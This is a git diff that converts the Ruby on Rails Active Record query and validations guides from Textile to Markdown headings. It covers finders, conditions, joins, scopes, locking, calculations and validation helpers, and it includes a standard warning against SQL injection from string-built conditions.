@@ -159,7 +161,7 @@ SELECT * FROM clients ORDER BY clients.id DESC LIMIT 1
<tt>Model.last</tt> returns +nil+ if no matching record is found and no exception will be raised.
-h5. +find_by+
+#### +find_by+
<tt>Model.find_by</tt> finds the first record matching some conditions. For example:
@@ -177,7 +179,7 @@ It is equivalent to writing:
Client.where(first_name: 'Lifo').take
```
-h5(#take_1). +take!+
+#### +take!+
<tt>Model.take!</tt> retrieves a record without any implicit ordering. For example:
@@ -194,7 +196,7 @@ SELECT * FROM clients LIMIT 1
<tt>Model.take!</tt> raises +ActiveRecord::RecordNotFound+ if no matching record is found.
-h5(#first_1). +first!+
+#### +first!+
<tt>Model.first!</tt> finds the first record ordered by the primary key. For example:
@@ -211,7 +213,7 @@ SELECT * FROM clients ORDER BY clients.id ASC LIMIT 1
<tt>Model.first!</tt> raises +ActiveRecord::RecordNotFound+ if no matching record is found.
-h5(#last_1). +last!+
+#### +last!+
<tt>Model.last!</tt> finds the last record ordered by the primary key. For example:
@@ -228,7 +230,7 @@ SELECT * FROM clients ORDER BY clients.id DESC LIMIT 1
<tt>Model.last!</tt> raises +ActiveRecord::RecordNotFound+ if no matching record is found.
-h5(#find_by_1). +find_by!+
+#### +find_by!+
<tt>Model.find_by!</tt> finds the first record matching some conditions. It raises +ActiveRecord::RecordNotFound+ if no matching record is found. For example:
@@ -246,9 +248,9 @@ It is equivalent to writing:
Client.where(first_name: 'Lifo').take!
```
-h4. Retrieving Multiple Objects
+### Retrieving Multiple Objects
-h5. Using Multiple Primary Keys
+#### Using Multiple Primary Keys
<tt>Model.find(array_of_primary_key)</tt> accepts an array of _primary keys_, returning an array containing all of the matching records for the supplied _primary keys_. For example:
@@ -266,7 +268,7 @@ SELECT * FROM clients WHERE (clients.id IN (1,10))
WARNING: <tt>Model.find(array_of_primary_key)</tt> will raise an +ActiveRecord::RecordNotFound+ exception unless a matching record is found for <strong>all</strong> of the supplied primary keys.
-h5(#take-n-objects). take
+#### take
<tt>Model.take(limit)</tt> retrieves the first number of records specified by +limit+ without any explicit ordering:
@@ -282,7 +284,7 @@ The SQL equivalent of the above is:
SELECT * FROM clients LIMIT 2
```
-h5(#first-n-objects). first
+#### first
<tt>Model.first(limit)</tt> finds the first number of records specified by +limit+ ordered by primary key:
@@ -298,7 +300,7 @@ The SQL equivalent of the above is:
SELECT * FROM clients LIMIT 2
```
-h5(#last-n-objects). last
+#### last
<tt>Model.last(limit)</tt> finds the number of records specified by +limit+ ordered by primary key in descending order:
@@ -314,7 +316,7 @@ The SQL equivalent of the above is:
SELECT * FROM clients ORDER By id DESC LIMIT 2
```
-h4. Retrieving Multiple Objects in Batches
+### Retrieving Multiple Objects in Batches
We often need to iterate over a large set of records, as when we send a newsletter to a large set of users, or when we export data.
@@ -333,7 +335,7 @@ Rails provides two methods that address this problem by dividing records into me
TIP: The +find_each+ and +find_in_batches+ methods are intended for use in the batch processing of a large number of records that wouldn't fit in memory all at once. If you just need to loop over a thousand records the regular find methods are the preferred option.
-h5. +find_each+
+#### +find_each+
The +find_each+ method retrieves a batch of records and then yields _each_ record to the block individually as a model. In the following example, +find_each+ will retrieve 1000 records (the current default for both +find_each+ and +find_in_batches+) and then yield each record individually to the block as a model. This process is repeated until all of the records have been processed:
@@ -343,7 +345,7 @@ User.find_each do |user|
end
```
-h6. Options for +find_each+
+##### Options for +find_each+
The +find_each+ method accepts most of the options allowed by the regular +find+ method, except for +:order+ and +:limit+, which are reserved for internal use by +find_each+.
@@ -375,7 +377,7 @@ Another example would be if you wanted multiple workers handling the same proces
NOTE: The +:include+ option allows you to name associations that should be loaded alongside with the models.
-h5. +find_in_batches+
+#### +find_in_batches+
The +find_in_batches+ method is similar to +find_each+, since both retrieve batches of records. The difference is that +find_in_batches+ yields _batches_ to the block as an array of models, instead of individually. The following example will yield to the supplied block an array of up to 1000 invoices at a time, with the final block containing any remaining invoices:
@@ -388,21 +390,22 @@ end
NOTE: The +:include+ option allows you to name associations that should be loaded alongside with the models.
-h6. Options for +find_in_batches+
+##### Options for +find_in_batches+
The +find_in_batches+ method accepts the same +:batch_size+ and +:start+ options as +find_each+, as well as most of the options allowed by the regular +find+ method, except for +:order+ and +:limit+, which are reserved for internal use by +find_in_batches+.
-h3. Conditions
+Conditions
+----------
The +where+ method allows you to specify conditions to limit the records returned, representing the +WHERE+-part of the SQL statement. Conditions can either be specified as a string, array, or hash.
-h4. Pure String Conditions
+### Pure String Conditions
If you'd like to add conditions to your find, you could just specify them in there, just like +Client.where("orders_count = '2'")+. This will find all clients where the +orders_count+ field's value is 2.
WARNING: Building your own conditions as pure strings can leave you vulnerable to SQL injection exploits. For example, +Client.where("first_name LIKE '%#{params[:first_name]}%'")+ is not safe. See the next section for the preferred way to handle conditions using an array.
-h4. Array Conditions
+### Array Conditions
Now what if that number could vary, say as an argument from somewhere? The find would then take the form:
@@ -436,7 +439,7 @@ because of argument safety. Putting the variable directly into the conditions st
TIP: For more information on the dangers of SQL injection, see the "Ruby on Rails Security Guide":security.html#sql-injection.
-h5. Placeholder Conditions
+#### Placeholder Conditions
Similar to the +(?)+ replacement style of params, you can also specify keys/values hash in your array conditions:
@@ -447,13 +450,13 @@ Client.where("created_at >= :start_date AND created_at <= :end_date",
This makes for clearer readability if you have a large number of variable conditions.
-h4. Hash Conditions
+### Hash Conditions
Active Record also allows you to pass in hash conditions which can increase the readability of your conditions syntax. With hash conditions, you pass in a hash with keys of the fields you want conditionalised and the values of how you want to conditionalise them:
NOTE: Only equality, range and subset checking are possible with Hash conditions.
-h5. Equality Conditions
+#### Equality Conditions
```ruby
Client.where(:locked => true)
@@ -474,7 +477,7 @@ Author.joins(:posts).where(:posts => {:author => author})
NOTE: The values cannot be symbols. For example, you cannot do +Client.where(:status => :active)+.
-h5(#hash-range_conditions). Range Conditions
+#### Range Conditions
```ruby
Client.where(:created_at => (Time.now.midnight - 1.day)..Time.now.midnight)
@@ -488,7 +491,7 @@ SELECT * FROM clients WHERE (clients.created_at BETWEEN '2008-12-21 00:00:00' AN
This demonstrates a shorter syntax for the examples in "Array Conditions":#array-conditions
-h5. Subset Conditions
+#### Subset Conditions
If you want to find records using the +IN+ expression you can pass an array to the conditions hash:
@@ -502,7 +505,8 @@ This code will generate SQL like this:
SELECT * FROM clients WHERE (clients.orders_count IN (1,3,5))
```
-h3(#ordering). Ordering
+Ordering
+--------
To retrieve records from the database in a specific order, you can use the +order+ method.
@@ -535,7 +539,8 @@ Client.order("orders_count ASC").order("created_at DESC")
# SELECT * FROM clients ORDER BY created_at DESC, orders_count ASC
```
-h3. Selecting Specific Fields
+Selecting Specific Fields
+-------------------------
By default, <tt>Model.find</tt> selects all the fields from the result set using +select *+.
@@ -587,7 +592,8 @@ query.uniq(false)
# => Returns all names, even if there are duplicates
```
-h3. Limit and Offset
+Limit and Offset
+----------------
To apply +LIMIT+ to the SQL fired by the +Model.find+, you can specify the +LIMIT+ using +limit+ and +offset+ methods on the relation.
@@ -615,7 +621,8 @@ will return instead a maximum of 5 clients beginning with the 31st. The SQL look
SELECT * FROM clients LIMIT 5 OFFSET 30
```
-h3. Group
+Group
+-----
To apply a +GROUP BY+ clause to the SQL fired by the finder, you can specify the +group+ method on the find.
@@ -635,7 +642,8 @@ FROM orders
GROUP BY date(created_at)
```
-h3. Having
+Having
+------
SQL uses the +HAVING+ clause to specify conditions on the +GROUP BY+ fields. You can add the +HAVING+ clause to the SQL fired by the +Model.find+ by adding the +:having+ option to the find.
@@ -656,9 +664,10 @@ HAVING sum(price) > 100
This will return single order objects for each day, but only those that are ordered more than $100 in a day.
-h3. Overriding Conditions
+Overriding Conditions
+---------------------
-h4. +except+
+### +except+
You can specify certain conditions to be excepted by using the +except+ method. For example:
@@ -672,7 +681,7 @@ The SQL that would be executed:
SELECT * FROM posts WHERE id > 10 LIMIT 20
```
-h4. +only+
+### +only+
You can also override conditions using the +only+ method. For example:
@@ -686,7 +695,7 @@ The SQL that would be executed:
SELECT * FROM posts WHERE id > 10 ORDER BY id DESC
```
-h4. +reorder+
+### +reorder+
The +reorder+ method overrides the default scope order. For example:
@@ -712,7 +721,7 @@ In case the +reorder+ clause is not used, the SQL executed would be:
SELECT * FROM posts WHERE id = 10 ORDER BY posted_at DESC
```
-h4. +reverse_order+
+### +reverse_order+
The +reverse_order+ method reverses the ordering clause if specified.
@@ -740,7 +749,8 @@ SELECT * FROM clients WHERE orders_count > 10 ORDER BY clients.id DESC
This method accepts *no* arguments.
-h3. Null Relation
+Null Relation
+-------------
The +none+ method returns a chainable relation with no records. Any subsequent conditions chained to the returned relation will continue generating empty relations. This is useful in scenarios where you need a chainable response to a method or a scope that could return zero results.
@@ -764,7 +774,8 @@ def visible_posts
end
```
-h3. Readonly Objects
+Readonly Objects
+----------------
Active Record provides +readonly+ method on a relation to explicitly disallow modification of any of the returned objects. Any attempt to alter a readonly record will not succeed, raising an +ActiveRecord::ReadOnlyRecord+ exception.
@@ -776,7 +787,8 @@ client.save
As +client+ is explicitly set to be a readonly object, the above code will raise an +ActiveRecord::ReadOnlyRecord+ exception when calling +client.save+ with an updated value of _visits_.
-h3. Locking Records for Update
+Locking Records for Update
+--------------------------
Locking is helpful for preventing race conditions when updating records in the database and ensuring atomic updates.
@@ -785,7 +797,7 @@ Active Record provides two locking mechanisms:
* Optimistic Locking
* Pessimistic Locking
-h4. Optimistic Locking
+### Optimistic Locking
Optimistic locking allows multiple users to access the same record for edits, and assumes a minimum of conflicts with the data. It does this by checking whether another process has made changes to a record since it was opened. An +ActiveRecord::StaleObjectError+ exception is thrown if that has occurred and the update is ignored.
@@ -816,7 +828,7 @@ class Client < ActiveRecord::Base
end
```
-h4. Pessimistic Locking
+### Pessimistic Locking
Pessimistic locking uses a locking mechanism provided by the underlying database. Using +lock+ when building a relation obtains an exclusive lock on the selected rows. Relations using +lock+ are usually wrapped inside a transaction for preventing deadlock conditions.
@@ -859,11 +871,12 @@ item.with_lock do
end
```
-h3. Joining Tables
+Joining Tables
+--------------
Active Record provides a finder method called +joins+ for specifying +JOIN+ clauses on the resulting SQL. There are multiple ways to use the +joins+ method.
-h4. Using a String SQL Fragment
+### Using a String SQL Fragment
You can just supply the raw SQL specifying the +JOIN+ clause to +joins+:
@@ -877,7 +890,7 @@ This will result in the following SQL:
SELECT clients.* FROM clients LEFT OUTER JOIN addresses ON addresses.client_id = clients.id
```
-h4. Using Array/Hash of Named Associations
+### Using Array/Hash of Named Associations
WARNING: This method only works with +INNER JOIN+.
@@ -912,7 +925,7 @@ end
Now all of the following will produce the expected join queries using +INNER JOIN+:
-h5. Joining a Single Association
+#### Joining a Single Association
```ruby
Category.joins(:posts)
@@ -927,7 +940,7 @@ SELECT categories.* FROM categories
Or, in English: "return a Category object for all categories with posts". Note that you will see duplicate categories if more than one post has the same category. If you want unique categories, you can use Category.joins(:posts).select("distinct(categories.id)").
-h5. Joining Multiple Associations
+#### Joining Multiple Associations
```ruby
Post.joins(:category, :comments)
@@ -943,7 +956,7 @@ SELECT posts.* FROM posts
Or, in English: "return all posts that have a category and at least one comment". Note again that posts with multiple comments will show up multiple times.
-h5. Joining Nested Associations (Single Level)
+#### Joining Nested Associations (Single Level)
```ruby
Post.joins(:comments => :guest)
@@ -959,7 +972,7 @@ SELECT posts.* FROM posts
Or, in English: "return all posts that have a comment made by a guest."
-h5. Joining Nested Associations (Multiple Level)
+#### Joining Nested Associations (Multiple Level)
```ruby
Category.joins(:posts => [{:comments => :guest}, :tags])
@@ -975,7 +988,7 @@ SELECT categories.* FROM categories
INNER JOIN tags ON tags.post_id = posts.id
```
-h4. Specifying Conditions on the Joined Tables
+### Specifying Conditions on the Joined Tables
You can specify conditions on the joined tables using the regular "Array":#array-conditions and "String":#pure-string-conditions conditions. "Hash conditions":#hash-conditions provides a special syntax for specifying conditions for the joined tables:
@@ -993,7 +1006,8 @@ Client.joins(:orders).where(:orders => {:created_at => time_range})
This will find all clients who have orders that were created yesterday, again using a +BETWEEN+ SQL expression.
-h3. Eager Loading Associations
+Eager Loading Associations
+--------------------------
Eager loading is the mechanism for loading the associated records of the objects returned by +Model.find+ using as few queries as possible.
@@ -1033,11 +1047,11 @@ SELECT addresses.* FROM addresses
WHERE (addresses.client_id IN (1,2,3,4,5,6,7,8,9,10))
```
-h4. Eager Loading Multiple Associations
+### Eager Loading Multiple Associations
Active Record lets you eager load any number of associations with a single +Model.find+ call by using an array, hash, or a nested hash of array/hash with the +includes+ method.
-h5. Array of Multiple Associations
+#### Array of Multiple Associations
```ruby
Post.includes(:category, :comments)
@@ -1045,7 +1059,7 @@ Post.includes(:category, :comments)
This loads all the posts and the associated category and comments for each post.
-h5. Nested Associations Hash
+#### Nested Associations Hash
```ruby
Category.includes(:posts => [{:comments => :guest}, :tags]).find(1)
@@ -1053,7 +1067,7 @@ Category.includes(:posts => [{:comments => :guest}, :tags]).find(1)
This will find the category with id 1 and eager load all of the associated posts, the associated posts' tags and comments, and every comment's guest association.
-h4. Specifying Conditions on Eager Loaded Associations
+### Specifying Conditions on Eager Loaded Associations
Even though Active Record lets you specify conditions on the eager loaded associations just like +joins+, the recommended way is to use "joins":#joining-tables instead.
@@ -1073,7 +1087,8 @@ If there was no +where+ condition, this would generate the normal set of two que
If, in the case of this +includes+ query, there were no comments for any posts, all the posts would still be loaded. By using +joins+ (an INNER JOIN), the join conditions *must* match, otherwise no records will be returned.
-h3. Scopes
+Scopes
+------
Scoping allows you to specify commonly-used queries which can be referenced as method calls on the association objects or models. With these scopes, you can use every method previously covered such as +where+, +joins+ and +includes+. All scope methods will return an +ActiveRecord::Relation+ object which will allow for further methods (such as other scopes) to be called on it.
@@ -1117,7 +1132,7 @@ category = Category.first
category.posts.published # => [published posts belonging to this category]
```
-h4. Passing in arguments
+### Passing in arguments
Your scope can take arguments:
@@ -1149,7 +1164,7 @@ Using a class method is the preferred way to accept arguments for scopes. These
category.posts.created_before(time)
```
-h4. Applying a default scope
+### Applying a default scope
If we wish for a scope to be applied across all queries to the model we can use the
+default_scope+ method within the model itself.
@@ -1170,15 +1185,15 @@ SELECT * FROM clients WHERE removed_at IS NULL
If you need to do more complex things with a default scope, you can alternatively
define it as a class method:
-<ruby>
+```ruby
class Client < ActiveRecord::Base
def self.default_scope
# Should return an ActiveRecord::Relation.
end
end
-</ruby>
+```
-h4. Removing all scoping
+### Removing all scoping
If we wish to remove scoping for any reason we can use the +unscoped+ method. This is
especially useful if a +default_scope+ is specified in the model and should not be
@@ -1193,13 +1208,14 @@ This method removes all scoping and will do a normal query on the table.
Note that chaining +unscoped+ with a +scope+ does not work. In these cases, it is
recommended that you use the block form of +unscoped+:
-<ruby>
+```ruby
Client.unscoped {
Client.created_before(Time.zome.now)
}
-</ruby>
+```
-h3. Dynamic Finders
+Dynamic Finders
+---------------
For every field (also known as an attribute) you define in your table, Active Record provides a finder method. If you have a field called +first_name+ on your +Client+ model for example, you get +find_by_first_name+ and +find_all_by_first_name+ for free from Active Record. If you have a +locked+ field on the +Client+ model, you also get +find_by_locked+ and +find_all_by_locked+ methods.
@@ -1211,11 +1227,12 @@ If you want to find both by name and locked, you can chain these finders togethe
WARNING: Up to and including Rails 3.1, when the number of arguments passed to a dynamic finder method is lesser than the number of fields, say <tt>Client.find_by_name_and_locked("Ryan")</tt>, the behavior is to pass +nil+ as the missing argument. This is *unintentional* and this behavior will be changed in Rails 3.2 to throw an +ArgumentError+.
-h3. Find or build a new object
+Find or build a new object
+--------------------------
It's common that you need to find a record or create it if it doesn't exist. You can do that with the +first_or_create+ and +first_or_create!+ methods.
-h4. +first_or_create+
+### +first_or_create+
The +first_or_create+ method checks whether +first+ returns +nil+ or not. If it does return +nil+, then +create+ is called. This is very powerful when coupled with the +where+ method. Let's see an example.
@@ -1249,7 +1266,7 @@ Client.find_or_create_by_first_name(:first_name => "Andy", :locked => false)
This method still works, but it's encouraged to use +first_or_create+ because it's more explicit on which arguments are used to _find_ the record and which are used to _create_, resulting in less confusion overall.
-h4(#first_or_create_bang). +first_or_create!+
+### +first_or_create!+
You can also use +first_or_create!+ to raise an exception if the new record is invalid. Validations are not covered on this guide, but let's assume for a moment that you temporarily add
@@ -1266,7 +1283,7 @@ Client.where(:first_name => 'Andy').first_or_create!(:locked => false)
As with +first_or_create+ there is a +find_or_create_by!+ method but the +first_or_create!+ method is preferred for clarity.
-h4. +first_or_initialize+
+### +first_or_initialize+
The +first_or_initialize+ method will work just like +first_or_create+ but it will not call +create+ but +new+. This means that a new model instance will be created in memory but won't be saved to the database. Continuing with the +first_or_create+ example, we now want the client named 'Nick':
@@ -1294,7 +1311,8 @@ nick.save
# => true
```
-h3. Finding by SQL
+Finding by SQL
+--------------
If you'd like to use your own SQL to find records in a table you can use +find_by_sql+. The +find_by_sql+ method will return an array of objects even if the underlying query returns just a single record. For example you could run this query:
@@ -1306,7 +1324,8 @@ Client.find_by_sql("SELECT * FROM clients
+find_by_sql+ provides you with a simple way of making custom calls to the database and retrieving instantiated objects.
-h3. +select_all+
++select_all+
+------------
<tt>find_by_sql</tt> has a close relative called +connection#select_all+. +select_all+ will retrieve objects from the database using custom SQL just like +find_by_sql+ but will not instantiate them. Instead, you will get an array of hashes where each hash indicates a record.
@@ -1314,7 +1333,8 @@ h3. +select_all+
Client.connection.select_all("SELECT * FROM clients WHERE id = '1'")
```
-h3. +pluck+
++pluck+
+-------
<tt>pluck</tt> can be used to query a single or multiple columns from the underlying table of a model. It accepts a list of column names as argument and returns an array of values of the specified columns with the corresponding data type.
@@ -1348,7 +1368,8 @@ Client.pluck(:id)
Client.pluck(:id, :name)
```
-h3. +ids+
++ids+
+-----
+ids+ can be used to pluck all the IDs for the relation using the table's primary key.
@@ -1366,7 +1387,8 @@ Person.ids
# SELECT person_id FROM people
```
-h3. Existence of Objects
+Existence of Objects
+--------------------
If you simply want to check for the existence of the object there's a method called +exists?+. This method will query the database using the same query as +find+, but instead of returning an object or collection of objects it will return either +true+ or +false+.
@@ -1416,7 +1438,8 @@ Post.first.categories.any?
Post.first.categories.many?
```
-h3. Calculations
+Calculations
+------------
This section uses count as an example method in this preamble, but the options described apply to all sub-sections.
@@ -1448,13 +1471,13 @@ SELECT count(DISTINCT clients.id) AS count_all FROM clients
(clients.first_name = 'Ryan' AND orders.status = 'received')
```
-h4. Count
+### Count
If you want to see how many records are in your model's table you could call +Client.count+ and that will return the number. If you want to be more specific and find all the clients with their age present in the database you can use +Client.count(:age)+.
For options, please see the parent section, "Calculations":#calculations.
-h4. Average
+### Average
If you want to see the average of a certain number in one of your tables you can call the +average+ method on the class that relates to the table. This method call will look something like this:
@@ -1466,7 +1489,7 @@ This will return a number (possibly a floating point number such as 3.14159265)
For options, please see the parent section, "Calculations":#calculations.
-h4. Minimum
+### Minimum
If you want to find the minimum value of a field in your table you can call the +minimum+ method on the class that relates to the table. This method call will look something like this:
@@ -1476,7 +1499,7 @@ Client.minimum("age")
For options, please see the parent section, "Calculations":#calculations.
-h4. Maximum
+### Maximum
If you want to find the maximum value of a field in your table you can call the +maximum+ method on the class that relates to the table. This method call will look something like this:
@@ -1486,7 +1509,7 @@ Client.maximum("age")
For options, please see the parent section, "Calculations":#calculations.
-h4. Sum
+### Sum
If you want to find the sum of a field for all records in your table you can call the +sum+ method on the class that relates to the table. This method call will look something like this:
@@ -1496,7 +1519,8 @@ Client.sum("orders_count")
For options, please see the parent section, "Calculations":#calculations.
-h3. Running EXPLAIN
+Running EXPLAIN
+---------------
You can run EXPLAIN on the queries triggered by relations. For example,
@@ -1565,7 +1589,7 @@ EXPLAIN for: SELECT `posts`.* FROM `posts` WHERE `posts`.`user_id` IN (1)
under MySQL.
-h4. Automatic EXPLAIN
+### Automatic EXPLAIN
Active Record is able to run EXPLAIN automatically on slow queries and log its
output. This feature is controlled by the configuration parameter
@@ -1588,7 +1612,7 @@ production modes.
INFO. Automatic EXPLAIN gets disabled if Active Record has no logger, regardless
of the value of the threshold.
-h5. Disabling Automatic EXPLAIN
+#### Disabling Automatic EXPLAIN
Automatic EXPLAIN can be selectively silenced with +ActiveRecord::Base.silence_auto_explain+:
@@ -1604,7 +1628,7 @@ report of an admin interface.
As its name suggests, +silence_auto_explain+ only silences automatic EXPLAINs.
Explicit calls to +ActiveRecord::Relation#explain+ run.
-h4. Interpreting EXPLAIN
+### Interpreting EXPLAIN
Interpretation of the output of EXPLAIN is beyond the scope of this guide. The
following pointers may be helpful:
diff --git a/guides/source/active_record_validations_callbacks.md b/guides/source/active_record_validations_callbacks.md
index 5b7976a2cf..c8a0e535e0 100644
--- a/guides/source/active_record_validations_callbacks.md
+++ b/guides/source/active_record_validations_callbacks.md
@@ -1,4 +1,5 @@
-h2. Active Record Validations and Callbacks
+Active Record Validations and Callbacks
+=======================================
This guide teaches you how to hook into the life cycle of your Active Record objects. You will learn how to validate the state of objects before they go into the database, and how to perform custom operations at certain points in the object life cycle.
@@ -12,19 +13,21 @@ After reading this guide and trying out the presented concepts, we hope that you
* Create special classes that encapsulate common behavior for your callbacks
* Create Observers that respond to life cycle events outside of the original class
-endprologue.
+--------------------------------------------------------------------------------
-h3. The Object Life Cycle
+The Object Life Cycle
+---------------------
During the normal operation of a Rails application, objects may be created, updated, and destroyed. Active Record provides hooks into this <em>object life cycle</em> so that you can control your application and its data.
Validations allow you to ensure that only valid data is stored in your database. Callbacks and observers allow you to trigger logic before or after an alteration of an object's state.
-h3. Validations Overview
+Validations Overview
+--------------------
Before you dive into the detail of validations in Rails, you should understand a bit about how validations fit into the big picture.
-h4. Why Use Validations?
+### Why Use Validations?
Validations are used to ensure that only valid data is saved into your database. For example, it may be important to your application to ensure that every user provides a valid email address and mailing address.
@@ -35,7 +38,7 @@ There are several ways to validate data before it is saved into your database, i
* Controller-level validations can be tempting to use, but often become unwieldy and difficult to test and maintain. Whenever possible, it's a good idea to "keep your controllers skinny":http://weblog.jamisbuck.org/2006/10/18/skinny-controller-fat-model, as it will make your application a pleasure to work with in the long run.
* Model-level validations are the best way to ensure that only valid data is saved into your database. They are database agnostic, cannot be bypassed by end users, and are convenient to test and maintain. Rails makes them easy to use, provides built-in helpers for common needs, and allows you to create your own validation methods as well.
-h4. When Does Validation Happen?
+### When Does Validation Happen?
There are two kinds of Active Record objects: those that correspond to a row inside your database and those that do not. When you create a fresh object, for example using the +new+ method, that object does not belong to the database yet. Once you call +save+ upon that object it will be saved into the appropriate database table. Active Record uses the +new_record?+ instance method to determine whether an object is already in the database or not. Consider the following simple Active Record class:
@@ -73,7 +76,7 @@ The following methods trigger validations, and will save the object to the datab
The bang versions (e.g. +save!+) raise an exception if the record is invalid. The non-bang versions don't: +save+ and +update_attributes+ return +false+, +create+ and +update+ just return the objects.
-h4. Skipping Validations
+### Skipping Validations
The following methods skip validations, and will save the object to the database regardless of its validity. They should be used with caution.
@@ -93,7 +96,7 @@ Note that +save+ also has the ability to skip validations if passed +:validate =
* +save(:validate => false)+
-h4. +valid?+ and +invalid?+
+### +valid?+ and +invalid?+
To verify whether or not an object is valid, Rails uses the +valid?+ method. You can also use this method on your own. +valid?+ triggers your validations and returns true if no errors were found in the object, and false otherwise.
@@ -142,7 +145,7 @@ end
+invalid?+ is simply the inverse of +valid?+. +invalid?+ triggers your validations, returning true if any errors were found in the object, and false otherwise.
-h4(#validations_overview-errors). +errors[]+
+### +errors[]+
To verify whether or not a particular attribute of an object is valid, you can use +errors[:attribute]+. It returns an array of all the errors for +:attribute+. If there are no errors on the specified attribute, an empty array is returned.
@@ -159,7 +162,8 @@ end
We'll cover validation errors in greater depth in the "Working with Validation Errors":#working-with-validation-errors section. For now, let's turn to the built-in validation helpers that Rails provides by default.
-h3. Validation Helpers
+Validation Helpers
+------------------
Active Record offers many pre-defined validation helpers that you can use directly inside your class definitions. These helpers provide common validation rules. Every time a validation fails, an error message is added to the object's +errors+ collection, and this message is associated with the attribute being validated.
@@ -167,7 +171,7 @@ Each helper accepts an arbitrary number of attribute names, so with a single lin
All of them accept the +:on+ and +:message+ options, which define when the validation should be run and what message should be added to the +errors+ collection if it fails, respectively. The +:on+ option takes one of the values +:save+ (the default), +:create+ or +:update+. There is a default error message for each one of the validation helpers. These messages are used when the +:message+ option isn't specified. Let's take a look at each one of the available helpers.
-h4. +acceptance+
+### +acceptance+
Validates that a checkbox on the user interface was checked when a form was submitted. This is typically used when the user needs to agree to your application's terms of service, confirm reading some text, or any similar concept. This validation is very specific to web applications and this 'acceptance' does not need to be recorded anywhere in your database (if you don't have a field for it, the helper will just create a virtual attribute).
@@ -187,7 +191,7 @@ class Person < ActiveRecord::Base
end
```
-h4. +validates_associated+
+### +validates_associated+
You should use this helper when your model has associations with other models and they also need to be validated. When you try to save your object, +valid?+ will be called upon each one of the associated objects.
@@ -204,7 +208,7 @@ CAUTION: Don't use +validates_associated+ on both ends of your associations. The
The default error message for +validates_associated+ is "_is invalid_". Note that each associated object will contain its own +errors+ collection; errors do not bubble up to the calling model.
-h4. +confirmation+
+### +confirmation+
You should use this helper when you have two text fields that should receive exactly the same content. For example, you may want to confirm an email address or a password. This validation creates a virtual attribute whose name is the name of the field that has to be confirmed with "_confirmation" appended.
@@ -232,7 +236,7 @@ end
The default error message for this helper is "_doesn't match confirmation_".
-h4. +exclusion+
+### +exclusion+
This helper validates that the attributes' values are not included in a given set. In fact, this set can be any enumerable object.
@@ -247,7 +251,7 @@ The +exclusion+ helper has an option +:in+ that receives the set of values that
The default error message is "_is reserved_".
-h4. +format+
+### +format+
This helper validates the attributes' values by testing whether they match a given regular expression, which is specified using the +:with+ option.
@@ -260,7 +264,7 @@ end
The default error message is "_is invalid_".
-h4. +inclusion+
+### +inclusion+
This helper validates that the attributes' values are included in a given set. In fact, this set can be any enumerable object.
@@ -275,7 +279,7 @@ The +inclusion+ helper has an option +:in+ that receives the set of values that
The default error message for this helper is "_is not included in the list_".
-h4. +length+
+### +length+
This helper validates the length of the attributes' values. It provides a variety of options, so you can specify length constraints in different ways:
@@ -322,7 +326,7 @@ Note that the default error messages are plural (e.g., "is too short (minimum is
The +size+ helper is an alias for +length+.
-h4. +numericality+
+### +numericality+
This helper validates that your attributes have only numeric values. By default, it will match an optional sign followed by an integral or floating point number. To specify that only integral numbers are allowed set +:only_integer+ to true.
@@ -355,7 +359,7 @@ Besides +:only_integer+, this helper also accepts the following options to add c
The default error message is "_is not a number_".
-h4. +presence+
+### +presence+
This helper validates that the specified attributes are not empty. It uses the +blank?+ method to check if the value is either +nil+ or a blank string, that is, a string that is either empty or consists of whitespace.
@@ -380,7 +384,7 @@ Since +false.blank?+ is true, if you want to validate the presence of a boolean
The default error message is "_can't be empty_".
-h4. +uniqueness+
+### +uniqueness+
This helper validates that the attribute's value is unique right before the object gets saved. It does not create a uniqueness constraint in the database, so it may happen that two different database connections create two records with the same value for a column that you intend to be unique. To avoid that, you must create a unique index in your database.
@@ -413,7 +417,7 @@ WARNING. Note that some databases are configured to perform case-insensitive sea
The default error message is "_has already been taken_".
-h4. +validates_with+
+### +validates_with+
This helper passes the record to a separate class for validation.
@@ -453,7 +457,7 @@ class GoodnessValidator < ActiveModel::Validator
end
```
-h4. +validates_each+
+### +validates_each+
This helper validates attributes against a block. It doesn't have a predefined validation function. You should create one using a block, and every attribute passed to +validates_each+ will be tested against it. In the following example, we don't want names and surnames to begin with lower case.
@@ -467,11 +471,12 @@ end
The block receives the record, the attribute's name and the attribute's value. You can do anything you like to check for valid data within the block. If your validation fails, you should add an error message to the model, therefore making it invalid.
-h3. Common Validation Options
+Common Validation Options
+-------------------------
These are common validation options:
-h4. +:allow_nil+
+### +:allow_nil+
The +:allow_nil+ option skips the validation when the value being validated is +nil+.
@@ -484,7 +489,7 @@ end
TIP: +:allow_nil+ is ignored by the presence validator.
-h4. +:allow_blank+
+### +:allow_blank+
The +:allow_blank+ option is similar to the +:allow_nil+ option. This option will let validation pass if the attribute's value is +blank?+, like +nil+ or an empty string for example.
@@ -499,11 +504,11 @@ Topic.create("title" => nil).valid? # => true
TIP: +:allow_blank+ is ignored by the presence validator.
-h4. +:message+
+### +:message+
As you've already seen, the +:message+ option lets you specify the message that will be added to the +errors+ collection when validation fails. When this option is not used, Active Record will use the respective default error message for each validation helper.
-h4. +:on+
+### +:on+
The +:on+ option lets you specify when the validation should happen. The default behavior for all the built-in validation helpers is to be run on save (both when you're creating a new record and when you're updating it). If you want to change it, you can use +:on => :create+ to run the validation only when a new record is created or +:on => :update+ to run the validation only when a record is updated.
@@ -520,7 +525,8 @@ class Person < ActiveRecord::Base
end
```
-h3. Strict Validations
+Strict Validations
+------------------
You can also specify validations to be strict and raise +ActiveModel::StrictValidationFailed+ when the object is invalid.
@@ -542,11 +548,12 @@ end
Person.new.valid? => TokenGenerationException: Token can't be blank
```
-h3. Conditional Validation
+Conditional Validation
+----------------------
Sometimes it will make sense to validate an object just when a given predicate is satisfied. You can do that by using the +:if+ and +:unless+ options, which can take a symbol, a string, a +Proc+ or an +Array+. You may use the +:if+ option when you want to specify when the validation *should* happen. If you want to specify when the validation *should not* happen, then you may use the +:unless+ option.
-h4. Using a Symbol with +:if+ and +:unless+
+### Using a Symbol with +:if+ and +:unless+
You can associate the +:if+ and +:unless+ options with a symbol corresponding to the name of a method that will get called right before validation happens. This is the most commonly used option.
@@ -560,7 +567,7 @@ class Order < ActiveRecord::Base
end
```
-h4. Using a String with +:if+ and +:unless+
+### Using a String with +:if+ and +:unless+
You can also use a string that will be evaluated using +eval+ and needs to contain valid Ruby code. You should use this option only when the string represents a really short condition.
@@ -570,7 +577,7 @@ class Person < ActiveRecord::Base
end
```
-h4. Using a Proc with +:if+ and +:unless+
+### Using a Proc with +:if+ and +:unless+
